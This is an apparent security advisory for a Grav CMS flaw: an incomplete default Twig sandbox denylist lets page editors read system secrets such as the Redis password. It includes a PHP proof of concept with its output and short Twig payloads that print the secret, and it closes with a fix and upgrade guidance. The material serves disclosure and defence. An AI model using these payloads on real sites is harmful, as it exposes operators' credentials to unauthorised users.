CVE-2026-76846: Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
## Summary `system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list (`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix. When an operator enables the documented, non-default `twig_content.config_access: true` setting (intended to safely expose low-sensitivity values like `site.title` to editor-authored Twig content), any real secret stored under `system.*` , for example `system.cache.redis.password` , is also exposed, both via `config.get(...)` and via `config.toArray()`, to any user with page-edit permission. This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist, but the shipped default denylist is incomplete. ## Environment used to verify - Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15` - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full `composer install --no-dev` run against the real repository (no mocked dependencies) so the actual `Grav\Common\Config\Config` and `Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly ## Commands run to set up the verification environment ```bash git clone https://github.com/getgrav/grav.git cd grav # install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd # composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction ``` ## Proof of Concept Confirmed the real, currently-shipped config field first, rather than assuming one: ```bash grep -n "redis" -A3 system/config/system.yaml # redis: # socket: false # password: # <- system.cache.redis.password, a real field # database: grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml # cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" # type: text ``` `sandbox_test.php` , loads the real classes via the real autoloader, no mocking of `Config` or `SandboxConfig` themselves: ```php <?php require 'vendor/autoload.php'; use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig; // Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK', ], ], ], 'plugins' => [ 'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ]; $config = new Config($configTree); // exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler']; $sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths); echo "plugins.someplugin.api_key: "; var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED')); echo "system.cache.redis.password: "; var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED')); print_r($sandboxConfig->toArray()); ``` Run: ```bash php sandbox_test.php ``` Output: ``` plugins.someplugin.api_key: string(8) "REDACTED" system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK" Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK ) ) ) [site] => Array ( [title] => My Site ) ) ``` `plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in full both via targeted `get()` and via bulk `toArray()`. ## Confirming the Twig-reachable path is real `system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s methods for use inside sandboxed page-content templates: ```yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists' ``` So, with `twig_content.process_enabled: true` and `twig_content.config_access: true` both set (both documented, operator-controlled settings), a page containing: ```twig {{ config.get('system.cache.redis.password') }} ``` or ```twig {{ config.toArray() }} ``` renders the real Redis password directly into the page output for any user with page-edit permission. ## Impact Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented `config_access` opt-in (intended only to expose things like `site.title`), exposes that Redis password , and potentially other future `system.*` secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings. ## Suggested fix Add `system` to the default `config_denied_paths` list in `system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under `system.*` doesn't silently bypass the sandbox by default. ## Affected component - `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value - `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its input; the gap is in the default list passed to it) ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: getgrav/grav 2.0.16.
Technical details
- Vendor
- Not specified
- Product
- getgrav/grav
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source